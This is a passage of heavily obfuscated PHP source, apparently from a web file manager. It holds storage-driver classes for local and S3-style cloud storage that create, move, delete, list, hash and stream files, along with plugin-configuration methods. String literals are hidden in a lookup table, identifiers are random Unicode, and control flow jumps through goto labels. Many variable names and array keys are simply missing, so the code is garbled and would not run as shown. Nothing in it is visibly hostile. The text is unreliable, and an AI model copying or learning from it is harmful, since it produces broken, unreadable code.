$ҡ; } public function getPackageJson($ܵ) { return Hook::apply($ܵ . $_SERVER[][2088]); } public function getConfig($Ֆ, $ѡɧ = false) { $ =& $_SERVER[]; $ = array(); $ = $this->loadList($Ֆ); if ($ && is_array($[$[6]])) { $ = $[$[6]]; } if (!$ || $ѡɧ) { $ = $this->getConfigDefault($Ֆ); } return $; } public function setConfig($Э, $ = false) { $ =& $_SERVER[]; $ = $this->loadList($Э); if (!$) { return !1; } $ = $[$[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($Э); } foreach ($ as $ => $) { $[$] = is_string($) ? trim($) : $; } $this->update($[$[450]], array($[6] => $)); } public function viewList() { $ҍ =& $_SERVER[]; $跺 = $this->loadList(); $this->pluginScan($跺); $跺 = $this->loadPluginList(); $ޑ = array(); foreach ($跺 as $® => $̤) { $ָ = $̤; unset($̤[$ҍ[2078]], $̤[$ҍ[6]]); $ۉ = PLUGIN_DIR . $̤[$ҍ[32]] . $ҍ[2080]; if (!is_file($ۉ)) { continue; } $ = Hook::apply($̤[$ҍ[32]] . $ҍ[2088]); if (!is_array($)) { continue; } $ޑ[$®] = array_merge($̤, $); if ($ָ[$ҍ[6]][$ҍ[1668]] != $[$ҍ[1642]]) { Hook::apply($̤[$ҍ[32]] . $ҍ[2085]); $ָ[$ҍ[6]][$ҍ[1668]] = $[$ҍ[1642]]; $this->update($̤[$ҍ[450]], array($ҍ[6] => $ָ[$ҍ[6]])); } } return $ޑ; } private function loadPluginList() { $ˍ =& $_SERVER[]; $ِ = $this->loadList(); if (strtolower(MOD) == $ˍ[2089]) { return $ِ; } $̋ = Hook::trigger($ˍ[2090], $ِ); if ($ِ && !$̋) { die; } return $̋ ? $̋ : $ِ; } private function pluginScan($܈ʭ) { $ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $ζ, 0); foreach ($ as $完) { $Є = get_path_this($完); if (isset($܈ʭ[$Є]) || !file_exists($完 . $[2091]) || !file_exists($完 . $[2080])) { continue; } Hook::apply($Є . $[2085]); } } } goto F됵퓅; b: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1409]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($߄) { $Җ =& $_SERVER[]; global $config; return $this->iconvTo($߄, $config[$Җ[1407]], $config[$Җ[1406]]); } public function iconvSystem($) { $膽 =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$膽[1406]], $config[$膽[1407]]); } public function getPathOuter($) { $鳻 =& $_SERVER[]; $̪ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($̪, 0, 2) == $鳻[1409]) { $̪ = BASIC_PATH . substr($̪, 2); } if (substr($, 0, 2) == $鳻[1409]) { $ = BASIC_PATH . substr($, 2); } $̪ = KodIO::clear($̪); $ = KodIO::clear($); $ = substr($, strlen($̪)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $鳻[8] . ltrim($, $鳻[8]); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->iconvSystem($); @touch($); if ($) { file_put_contents($, $); } @chmod($, $this->pathAuth); if (is_file($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } public function mkdir($, $Շ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); if (is_dir($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } public function copyFile($, $ڷ) { $this->mkdir($this->pathFather($ڷ)); $ = $this->iconvSystem($); $ڷ = $this->iconvSystem($ڷ); $ͽ = copy_64($, $ڷ); @chmod($ڷ, $this->pathAuth); if ($ͽ) { return $this->getPathOuter($ڷ); } $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } public function moveFile($뽊, $) { $this->mkdir($this->pathFather($)); $뽊 = $this->iconvSystem($뽊); $ = $this->iconvSystem($); $֞ = intval(@rename($뽊, $)); if (!$֞) { if ($֞ = intval(@copy_64($뽊, $))) { @unlink($뽊); } } @chmod($, $this->pathAuth); if ($֞) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } public function movePath($, $, $ = false) { $Κ =& $_SERVER[]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ǻ = rtrim($, $Κ[8]) . $Κ[8] . ($ ? $ : get_path_this($)); if (file_exists($ǻ)) { return !1; } $٩ = intval(@rename($, $ǻ)); $٩ = file_exists($ǻ); if ($٩) { return $this->getPathOuter($ǻ); } $this->writeLog(__FUNCTION__ . $Κ[1419], !0); return !1; } public function delFile($ʎ) { $ʎ = $this->iconvSystem($ʎ); if (!@unlink($ʎ)) { @chmod($ʎ, $this->pathAuth); if (@unlink($ʎ)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); return !1; } return !0; } public function delFolder($޷) { $ܯ =& $_SERVER[]; $޷ = $this->iconvSystem($޷); if (!is_dir($޷)) { return !0; } if (!($≡ʄ = opendir($޷))) { return !1; } while (($풘 = readdir($≡ʄ)) !== !1) { if ($풘 == $ܯ[10] || $풘 == $ܯ[1332]) { continue; } $Ҳ = $޷ . $ܯ[8] . $풘; if (is_file($Ҳ) || is_link($Ҳ)) { if (!unlink($Ҳ)) { chmod($Ҳ, $this->pathAuth); if (!unlink($Ҳ)) { return !1; } } } else { if (is_dir($Ҳ)) { chmod($Ҳ, $this->pathAuth); $Ҳ = $this->iconvApp($Ҳ); if (!$this->delFolder($Ҳ)) { return !1; } } } } closedir($≡ʄ); return rmdir($޷); } public function rename($Ћ, $ۄ) { $Ӯ =& $_SERVER[]; $揆 = $this->fileNameAuto($this->pathFather($Ћ), $ۄ); $揆 = $this->iconvSystem($揆); $Ћ = $this->iconvSystem($Ћ); $͸ = $this->pathFather($Ћ); $ = rtrim($͸, $Ӯ[8]) . $Ӯ[8] . $揆; $ֺ = @rename($Ћ, $); $ = $this->iconvApp($); if ($ֺ) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $Ӯ[1419], !0); return !1; } public function size($͝) { $͝ = $this->iconvSystem($͝); return filesize_64($͝); } public function info($ꜹ) { $ꜹ = $this->iconvSystem($ꜹ); if ($this->isFolder($ꜹ)) { return $this->folderInfo($ꜹ); } else { if ($this->isFile($ꜹ)) { return $this->fileInfo($ꜹ); } } return !1; } protected function infoChildren($ǣ, &$Ɗ, $ = true) { $ =& $_SERVER[]; check_abort_echo(); $ǣ = rtrim($ǣ, $[8]) . $[8]; if ($) { $ǣ = $this->iconvSystem($ǣ); } if (!($Ү = @opendir($ǣ))) { return; } while (($ = readdir($Ү)) !== !1) { if ($ == $[10] || $ == $[1332]) { continue; } $溸 = $ǣ . $; if (is_file($溸) || is_link($溸)) { $Ɗ[$[80]]++; $Ɗ[$[79]] += filesize_64($溸); } else { if (is_dir($溸)) { $Ɗ[$[81]]++; $this->infoChildren($溸, $Ɗ, !1); } } } closedir($Ү); } private function folderInfo($, $ט = false) { $ۦܸ =& $_SERVER[]; $ = rtrim($, $ۦܸ[8]) . $ۦܸ[8]; $ = $this->iconvApp($this->pathThis($)); if ($ט) { return array($ۦܸ[32] => $, $ۦܸ[87] => $this->getPathOuter($), $ۦܸ[33] => $ۦܸ[78]); } $Ѹ = array($ۦܸ[32] => $, $ۦܸ[87] => $this->getPathOuter($), $ۦܸ[33] => $ۦܸ[78], $ۦܸ[222] => @filectime($), $ۦܸ[88] => @filemtime($), $ۦܸ[1423] => @fileatime($), $ۦܸ[1424] => is_readable($), $ۦܸ[1425] => is_writable($), $ۦܸ[1426] => get_mode($)); return $Ѹ; } private function fileInfo($, $Ø = false) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($)); if ($Ø) { return array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[221], $[79] => $this->size($), $[178] => $this->ext($)); } $椨 = array($[32] => $, $[87] => $this->getPathOuter($), $[33] => $[221], $[222] => @filectime($), $[88] => @filemtime($), $[1423] => @fileatime($), $[79] => $this->size($), $[178] => $this->ext($), $[1424] => is_readable($), $[1425] => is_writable($), $[1426] => get_mode($)); return $椨; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($ݏ) { $ݏ = $this->iconvSystem($ݏ); return @is_file($ݏ); } public function isFolder($߄Ĭ) { $߄Ĭ = $this->iconvSystem($߄Ĭ); return @is_dir($߄Ĭ); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; $鯖ڰ = array($[85] => array(), $[86] => array()); if (!($˫ = @opendir($))) { return $鯖ڰ; } while (($̨ = readdir($˫)) !== !1) { if ($̨ == $[10] || $̨ == $[1332]) { continue; } $ٓ = $ . $̨; if (is_file($ٓ)) { $鯖ڰ[$[86]][] = $this->fileInfo($ٓ, $); } else { $鯖ڰ[$[85]][] = $this->folderInfo($ٓ, $); } } closedir($˫); return $鯖ڰ; } public function listAll($ۅ, &$Ц = array()) { $묦 =& $_SERVER[]; $ۅ = $this->iconvSystem($ۅ); $ۅ = rtrim($ۅ, $묦[8]) . $묦[8]; if (!($骄 = @opendir($ۅ))) { return $Ц; } while (($Бָ = readdir($骄)) !== !1) { if ($Бָ == $묦[10] || $Бָ == $묦[1332]) { continue; } $ũ০ = $ۅ . $Бָ; $ = is_dir($ũ০) && !is_link($ũ০) ? 1 : 0; $ũ০ = $ ? $ũ০ . $묦[8] : $ũ০; $Ц[] = array($묦[87] => $ũ০, $묦[78] => $, $묦[88] => intval(@filemtime($ũ০)), $묦[79] => $ ? 0 : intval($this->size($ũ০))); if ($) { $this->listAll($ũ০, $Ц); } } closedir($骄); return $Ц; } public function has($, $Ι = false, $ܛ = true) { $۩ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $۩[8]) . $۩[8]; if (!($Ȍ = @opendir($))) { return !1; } $׶ = 0; $ሼȷ = 0; $ = 0; while (($Ü = readdir($Ȍ)) !== !1) { if ($Ü == $۩[10] || $Ü == $۩[1332]) { continue; } $ = $ . $Ü; if ($Ι) { $++; if (@is_file($)) { $׶++; } else { $ሼȷ++; } if ($ > 10000) { break; } continue; } if ($ܛ) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $۩[8])) { return !0; } } } closedir($Ȍ); if ($Ι) { return array($۩[230] => $׶, $۩[231] => $ሼȷ); } return !1; } public function hashSimple($͵) { $ =& $_SERVER[]; if (!$͵) { return md5($[12]); } $͵ = $this->iconvSystem($͵); $݋ = $this->size($͵); $ĵ = 200; $տ = 50; if ($݋ <= $ĵ * $տ) { return $this->hashMd5($͵) . $݋; } $ʬԖ = $[12]; $ʅ͛ = intval($݋ / $տ); $ȩ = fopen($͵, $[1427]); if (!$ȩ) { return $ʬԖ; } for ($Í = 0; $Í < $տ; $Í++) { fseek_64($ȩ, $ʅ͛ * $Í); $ʬԖ .= fread($ȩ, $ĵ); } fseek_64($ȩ, $݋ - $ĵ); $ʬԖ .= fread($ȩ, $ĵ); fclose($ȩ); return md5($ʬԖ) . $݋; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($췻, $ = '') { $췻 = $this->iconvSystem($췻); $̀ծ = @file_put_contents($췻, $, LOCK_EX); if (!$̀ծ) { $this->writeLog(__FUNCTION__ . $_SERVER[][1419], !0); } clearstatcache(); @chmod($췻, $this->pathAuth); return $̀ծ === !1 ? !1 : !0; } public function fileSubstr($ԣ, $ۣ = 0, $ = false) { $ =& $_SERVER[]; $ԣ = $this->iconvSystem($ԣ); if ($ === !1) { $ = $this->size($ԣ); } if ($ <= 0) { return $[12]; } $ = fopen($ԣ, $[1427]); if (!$) { return !1; } fseek_64($, $ۣ); $Ӊ = fread($, $); fclose($); if (!$Ӊ) { $this->writeLog(__FUNCTION__ . $[1419], !0); } return $Ӊ; } public function upload($ƀ, $, $庝 = false, $ܔ = REPEAT_REPLACE) { if ($庝) { return $this->moveFile($, $ƀ); } return $this->copyFile($, $ƀ); } public function setModifyTime($ċ, $ = '') { @touch($ċ, intval($)); } public function download($, $) { return $this->iconvSystem($); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][238]); } public function fileOutImage($Γ, $ŝ = 250) { $œʻ =& $_SERVER[]; if ($this->size($Γ) > 1024 * 1024 * 25) { return $this->fileOutImageServer($Γ, $ŝ); } $ؐ = array($œʻ[1428] => $œʻ[1429] . $ŝ . $œʻ[1430]); $婍 = $this->link($Γ, $ؐ); $this->fileOutLink($婍); } public function fileOutLink($ǵΤ) { $ˑ̌ =& $_SERVER[]; if (substr($ǵΤ, 0, 7) == $ˑ̌[1378]) { $ǵΤ = $ˑ̌[1379] . substr($ǵΤ, 7); } header($ˑ̌[165] . $ǵΤ); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][238]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1378]) { $ = $[1379] . substr($, 7); } header($[165] . $); die; } } goto aㄇ; Fᄷ剿: define($_SERVER[][290], 1); define($_SERVER[][291], 2); define($_SERVER[][292], 3); goto bՔ; bՔ: define($_SERVER[][293], 1); define($_SERVER[][294], 0); define($_SERVER[][295], 2); goto aǰ; F: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $྄ =& $_SERVER[]; $this->objectDriver = array($྄[60], $྄[61], $྄[62], $྄[63], $྄[64], $྄[65], $྄[66], $྄[67], $྄[68], $྄[69], $྄[70], $྄[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($, $_SERVER[][8]); } return $; } public function iconvApp($) { return $; } public function iconvSystem($) { return $; } public function iconvTo($Ӯ, $¸, $߷) { $٭ =& $_SERVER[]; if (!$Ӯ || !function_exists($٭[72])) { return $Ӯ; } static $Ӟڮ = array(); $ǎ = $¸ . $٭[73] . $߷ . $٭[74] . $Ӯ; if (isset($Ӟڮ[$ǎ])) { return $Ӟڮ[$ǎ]; } if (function_exists($٭[75])) { $ = @mb_convert_encoding($Ӯ, $߷, $¸); } else { $ = @iconv($¸, $߷, $Ӯ); } $ = $ ? $ : $Ӯ; if (strstr($, $٭[76])) { $ = str_replace($٭[76], $٭[11], $); } $Ӟڮ[$¸ . $٭[73] . $߷ . $٭[74] . $Ӯ] = $; $Ӟڮ[$߷ . $٭[73] . $¸ . $٭[74] . $Ӯ] = $Ӯ; $Ӟڮ[$߷ . $٭[73] . $¸ . $٭[74] . $] = $Ӯ; $Ӟڮ[$¸ . $٭[73] . $߷ . $٭[74] . $] = $; return $; } public function getPathInner($ä) { $ = IO::init($ä); return $->path; } public function getPathOuter($„) { $ =& $_SERVER[]; $ŵ = strlen(trim($this->pathBase, $[8])); $„ = substr(trim($„, $[8]), $ŵ); return $this->pathDriver . $[8] . ltrim($„, $[8]); } public function isParentOf($Ϣ, $ѓ) { $ =& $_SERVER[]; $Ϣ = rtrim(strtolower($Ϣ), $[8]) . $[8]; $ѓ = rtrim(strtolower($ѓ), $[8]) . $[8]; $ = strpos($ѓ, $Ϣ) === 0; return $; } public function getType() { $ =& $_SERVER[]; $嶜 = str_replace($[77], $[12], get_class($this)); return strtolower($嶜); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ҡ, $) { $ =& $_SERVER[]; $Ƃ = rtrim($ҡ, $[8]) . $[8] . $; $؋ʇ = $this->exist($Ƃ); return $؋ʇ ? $Ƃ : !1; } public function setModifyTime($ʵ, $ = '') { } public function renameObject($, $) { $ԏ = $; $ = $this->getPathOuter($); $ = $this->pathFather($) . $; $ڂ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $ԏ); if ($ڂ) { IO::remove($); } return $ڂ ? $ : !1; } public function tempFile($ͷ = '', $ѽ = '') { if (!$ͷ) { $ͷ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $ͷ; @touch($); if ($ѽ) { file_put_contents($, $ѽ); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($ևר, $Ѝ = '', $ト = REPEAT_RENAME) { } public function mkdir($í, $ = REPEAT_SKIP) { } public function delFile($ܳ) { } public function delFolder($ẉ꬧) { } public function copyFile($͖Š, $ػ) { } public function moveFile($ˀ, $٧) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($ćÑ, $Ŏ) { } public function exist($Ȏ) { } public function findByHash($ = '', $ = '') { return !1; } public function isFile($׈) { } public function isFolder($) { } public function size($󎦸) { } public function info($բ) { } public function infoSimple($) { return $this->info($); } public function infoAuth($Ֆ) { return $this->info($Ֆ); } public function infoFull($Ȗ) { return $this->info($Ȗ); } public function infoFullSimple($) { return $this->info($); } public function infoWithChildren($ٵ) { $ =& $_SERVER[]; static $ = array(); if (isset($[$ٵ])) { return $[$ٵ]; } $ = $this->info($ٵ); if ($ && $[$[33]] == $[78]) { $DZ = array($[79] => 0, $[80] => 0, $[81] => 0); $this->infoChildren($ٵ, $DZ); $[$[79]] = $DZ[$[79]]; $[$[82]] = array($[83] => $DZ[$[80]], $[84] => $DZ[$[81]]); $[$ٵ] = $; } return $; } public function listPath($ᴣ, $԰ = false) { } public function has($ޤ, $ = false, $Ђ = false) { } public function canRead($ÛǙ) { } public function canWrite($) { } public function getContent($) { } public function setContent($צ, $Ņ = '') { } protected function infoChildren($烄, &$֬) { $ʊ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($烄, !0); $ = array_merge($[$ʊ[85]], $[$ʊ[86]]); foreach ($ as $ᖪ) { if ($ᖪ[$ʊ[33]] == $ʊ[78]) { $֬[$ʊ[81]]++; $½ = $this->getPathInner($ᖪ[$ʊ[87]]); $this->infoChildren($½, $֬); } else { $֬[$ʊ[80]]++; $֬[$ʊ[79]] += $ᖪ[$ʊ[79]]; } } } public function fileSubstr($, $, $ר) { } public function listAll($ܒ) { } public function listAllMake($, &$ɼ) { $ə =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); if (!$) { return; } $ߏ = array_merge($[$ə[85]], $[$ə[86]]); foreach ($ߏ as $Ǽ) { $Σݏ = $Ǽ[$ə[33]] == $ə[78]; $Ͻ = array($ə[87] => $Ǽ[$ə[87]], $ə[78] => $Σݏ); if (isset($Ǽ[$ə[79]])) { $Ͻ[$ə[79]] = $Ǽ[$ə[79]]; } if (isset($Ǽ[$ə[88]])) { $Ͻ[$ə[88]] = $Ǽ[$ə[88]]; } if (!$Σݏ) { $ɼ[] = $Ͻ; continue; } $ɼ[] = $Ͻ; $ = $Ǽ[$ə[87]]; $ = $this->pathDriver; if (substr($Ǽ[$ə[87]], 0, strlen($)) == $) { $ = substr($, strlen($)); } $this->listAllMake($, $ɼ); } } public function listAllSimple($ו, $ = false) { $ٛ = $this->listAll($ו); return $this->listAllSimpleMake($ٛ, $this->getPathOuter($ו), $); } public function listAllSimpleMake($㼋, $, $ƾ) { $ӏ =& $_SERVER[]; $ = array(); $ = rtrim(get_path_father($), $ӏ[8]) . $ӏ[8]; foreach ($㼋 as $) { $ = array($ӏ[87] => $[$ӏ[87]], $ӏ[89] => $[$ӏ[87]], $ӏ[78] => $[$ӏ[78]]); if (isset($[$ӏ[79]]) && !$[$ӏ[78]]) { $[$ӏ[79]] = $[$ӏ[79]]; } if (isset($[$ӏ[88]])) { $[$ӏ[88]] = $[$ӏ[88]]; } if (is_array($[$ӏ[90]])) { $[$ӏ[89]] = $[$ӏ[90]][$ӏ[87]]; $[$ӏ[79]] = $[$ӏ[90]][$ӏ[79]]; $[$ӏ[88]] = $[$ӏ[90]][$ӏ[88]]; } else { if (substr($[$ӏ[87]], 0, strlen($)) == $) { $[$ӏ[87]] = substr($[$ӏ[87]], strlen($)); } } $َ = $[$ӏ[78]] ? $ӏ[8] : $ӏ[12]; $[$ӏ[89]] = rtrim($[$ӏ[89]], $ӏ[8]) . $َ; $[$ӏ[87]] = $ӏ[8] . trim($[$ӏ[87]], $ӏ[8]) . $َ; if (!$ƾ) { $΀ = explode($ӏ[8], trim($[$ӏ[87]], $ӏ[8])); $[$ӏ[87]] = $ӏ[8] . implode($ӏ[8], array_slice($΀, 1)) . $َ; } $[] = $; } return array_sort_by($, $ӏ[87]); } public function upload($LJ, $, $猺 = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($Ԭ, $, $׵) { } public function uploadFileByPath($, $, $ = array()) { } public function isUploadServer() { $ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[91]) { return !0; } return $GLOBALS[$[6]][$[92]][$[93]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[91]) { return !0; } return $GLOBALS[$[6]][$[92]][$[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($) { $Ӈ =& $_SERVER[]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $Ӈ[8]), trim($this->cdnHost, $Ӈ[8]), $); } public function uploadLink($, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $і = $this->getType(); if (!in_array($і, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $Я = $ <= $ ? $[95] : $[96]; $۸ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->{$Я}($, $۸); if ($) { $[$[97]] = $; $[$[98]] = $і; } return $; } public function uploadFormData($ϊ, $ = 3600) { } public function multiUploadFormData($𶯷, $ڗӝ = 3600) { } public function download($›, $߸) { } public function ext($ۙƅ) { $Ǯ =& $_SERVER[]; if (strpos($ۙƅ, $Ǯ[8]) === -1) { $Ғ = $ۙƅ; } else { $Ғ = $this->pathThis($ۙƅ); } $ɪ = $Ǯ[12]; if (strstr($Ғ, $Ǯ[10])) { $ɪ = substr($Ғ, strrpos($Ғ, $Ǯ[10]) + 1); $ɪ = strtolower($ɪ); } if (strlen($ɪ) > 3 && preg_match($Ǯ[99], $ɪ, $)) { $ɪ = $Ǯ[12]; } return $ɪ; } public function pathThis($̓) { $ؚ =& $_SERVER[]; $̓ = str_replace($ؚ[100], $ؚ[8], rtrim($̓, $ؚ[8])); $鏼 = strrpos($̓, $ؚ[8]); if ($鏼 === !1) { return $̓; } return substr($̓, $鏼 + 1); } public function pathFather($򗄕) { $Ǧ =& $_SERVER[]; $򗄕 = str_replace($Ǧ[100], $Ǧ[8], rtrim($򗄕, $Ǧ[8])); $ = strrpos($򗄕, $Ǧ[8]); if ($ === !1) { return $Ǧ[12]; } return substr($򗄕, 0, $ + 1); } public function hashSimple($ƚ) { $㥴 =& $_SERVER[]; if (!$ƚ) { return md5($㥴[12]); } $ = $this->size($ƚ); $ű҅ = 200; $ = 50; if ($ <= $ű҅ * $) { return $this->hashMd5($ƚ) . $; } $ʥ׵ = intval($ / $); $ؗ = $㥴[12]; for ($ = 0; $ < $; $++) { $ؗ .= $this->fileSubstr($ƚ, $ʥ׵ * $, $ű҅); } $ؗ .= $this->fileSubstr($ƚ, $ - $ű҅, $ű҅); return md5($ؗ) . $; } public static $md5Cache = array(); public function hashMd5($떝) { if (!$떝) { return md5($_SERVER[][12]); } $떝 = $this->iconvSystem($떝); if (isset(self::$md5Cache[$떝])) { return self::$md5Cache[$떝]; } self::$md5Cache[$떝] = $this->hashMd5Shell($떝); if (!self::$md5Cache[$떝]) { self::$md5Cache[$떝] = @md5_file($떝); } return self::$md5Cache[$떝]; } private function hashMd5Shell($) { $ؓ =& $_SERVER[]; if (!$) { return md5($ؓ[12]); } if (!function_exists($ؓ[101])) { return !1; } $ = array($ؓ[102], $ؓ[103]); $ = Cache::get($ؓ[104]); if (!$) { $ = BASIC_PATH . $ؓ[105]; $ = md5_file($); $ = $ؓ[106]; foreach ($ as $) { $ = shell_exec($ . "\40\42{$}\42"); if ($ && substr(trim($), 0, 32) == $) { $ = $; break; } } Cache::set($ؓ[104], $, 3600); } if ($ == $ؓ[106]) { return !1; } $ = shell_exec($ . "\x20\x22{$}\x22"); $ = str_replace($ؓ[107], $ؓ[12], $); return substr($, 0, 32); } public function link($) { return $; } public function fileOut($ЫҜ, $ = false, $ҋ = false, $ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ЫҜ || !$this->exist($ЫҜ)) { show_json(LNG($[108]), !1, $ҋ); } $ϝ = $this->getType() == $[109]; $ʰȅ = $GLOBALS[$[6]][$[92]][$[110]][$[111]]; $ɩ = (double) $GLOBALS[$[6]][$[92]][$[110]][$[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($ЫҜ); $̢ = $[$[79]]; $ᵓ = gmdate($[113], $[$[88]]); $͠ = $ҋ ? $ҋ : $this->iconvApp($[$[32]]); $ = 0; $ޟ = $̢ - 1; $̸ = $this->ext($͠); if (in_array($̸, array($[114], $[115], $[116], $[117]))) { $̸ = $[118]; } if (in_array($̸, array($[119]))) { $̸ = $[120]; } if (!$) { $ = md5($ᵓ . $̢); } $ = $[121] . $ . $[121]; $ = get_file_mime($̸); $棹 = !0; $棹 = isset($_GET[$[122]]) ? !1 : !0; if ($ === !1 && !mime_support($)) { $ = $[123]; } header($[124]); header($[125] . $); $粙 = rawurlencode($͠); $粙 = $[121] . $粙 . $[126] . $粙; if ($) { header($[127]); header($[128] . $粙); } else { if ($棹) { header($[129] . $粙); } } header($[130] . gmdate($[113], time() + 3600 * 24 * 30) . $[131]); header($[132]); header($[133]); header($[134]); if (isset($_SERVER[$[135]]) && strtotime($_SERVER[$[135]]) == $[$[88]]) { header($[136], !0, 304); die; } if (isset($_SERVER[$[137]]) && $_SERVER[$[137]] == $) { header($[138] . $, !0, 304); die; } header($[138] . $); header($[139] . $ᵓ . $[131]); header($[140] . $͠); header($[141]); header($[142] . $̢); header($[143]); Hook::trigger($[144], $ЫҜ, $̢, $͠, $̸); if (!$ && $̸ == $[145]) { if ($̢ > 1024 * 1024 * 5) { die; } $ = $this->getContent($ЫҜ); $ = Html::clearSVG($); header($[146] . strlen($)); echo $; die; } $ = strtolower($_SERVER[$[147]]); if ($ϝ && $ && $ʰȅ) { if (strstr($, $[148])) { header($[149] . $ЫҜ); } else { if (strstr($, $[150])) { header($[151] . $ЫҜ); } else { if (strstr($, $[152])) { header($[153] . $ЫҜ); } } } if ($ɩ) { header($[154] . $ɩ); } return; } if (isset($_SERVER[$[155]])) { if (preg_match($[156], $_SERVER[$[155]], $)) { $ = intval($[1]); $ = $ <= 0 ? 0 : ($ >= $ޟ ? $ޟ : $); if (!empty($[2])) { $ߧ = intval($[2]); $ޟ = $ߧ < $ ? $ : ($ߧ >= $ޟ ? $ޟ : $ߧ); } } header($[157]); header("\x43\x6f\x6e\164\145\x6e\164\x2d\x52\141\156\147\145\72\40\142\x79\x74\x65\x73\40{$}\x2d{$ޟ}\x2f" . $̢); } else { header($[158]); } header($[159]); $׊ = !0; if ($_SERVER[$[160]] == $[161] && $̢ > 1204 * 1024 * 1024 * 2) { $׊ = !1; } if ($׊) { header($[162] . ($ޟ - $ + 1)); } if ($_SERVER[$[163]] == $[164]) { return; } $ = 1024 * 100; $ޭ窛 = 0; if ($ɩ) { $ޭ窛 = intval(1000 * 1000 * ($ / $ɩ)); } while ($ <= $ޟ) { $ק¸ = timeFloat(); check_abort(); $ = $ޟ - $ + 1; if ($ <= $) { $ = $; } echo $this->fileSubstr($ЫҜ, $, $); $ += $; if ($ == $) { $ = $ޟ + 1; } if ($ޭ窛) { $ؾ߮ = intval(1000 * 1000 * (timeFloat() - $ק¸)); $ = $ޭ窛 - $ؾ߮; if ($ > 5) { usleep($); } } } } public function fileOutServer($۱, $٩ = false, $Ο = false, $׭ = '') { $this->fileOut($۱, $٩, $Ο, $׭); } public function fileOutLink($) { header($_SERVER[][165] . $); die; } public function cacheMethod($ٿҥ, $Ņ, $ = null) { $ =& $_SERVER[]; static $ = array(); $ӔܸĖ = $Ņ ? ltrim($this->getPathOuter($Ņ), $[8]) : $[12]; $͔ = $[166] . $ٿҥ . $[167] . rtrim($ӔܸĖ, $[8]); if (is_null($ٿҥ)) { $ = array(); return; } if (is_null($Ņ)) { foreach ($ as $͔ => $߶) { if (!strstr($͔, $[166] . $ٿҥ . $[168])) { continue; } unset($[$͔]); } return; } if (!is_null($)) { $[$͔] = $; return; } $Ԫ = isset($[$͔]) ? $[$͔] : null; if (!is_null($Ԫ)) { return $Ԫ; } $Ԫ = $this->{$ٿҥ}($Ņ); $[$͔] = $Ԫ; return $Ԫ; } public function cacheMethodInfoSet($⨋š, $Đ, $ = false) { $̲Ѿ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($̲Ѿ[169], $⨋š, $Đ); $this->cacheMethod($̲Ѿ[170], $⨋š, $Đ ? !1 : !0); if (is_array($)) { $this->cacheMethod($̲Ѿ[171], $⨋š, $); } } public function fileOutImage($㠫‰, $言 = 250) { $ʺ =& $_SERVER[]; set_timeout(); if (substr($㠫‰, 0, 4) == $ʺ[152]) { $this->fileOutLink($㠫‰); } $ = $this->info($㠫‰); $̐º = !1; $Ɋ܂ = isset($GLOBALS[$ʺ[172]]) ? 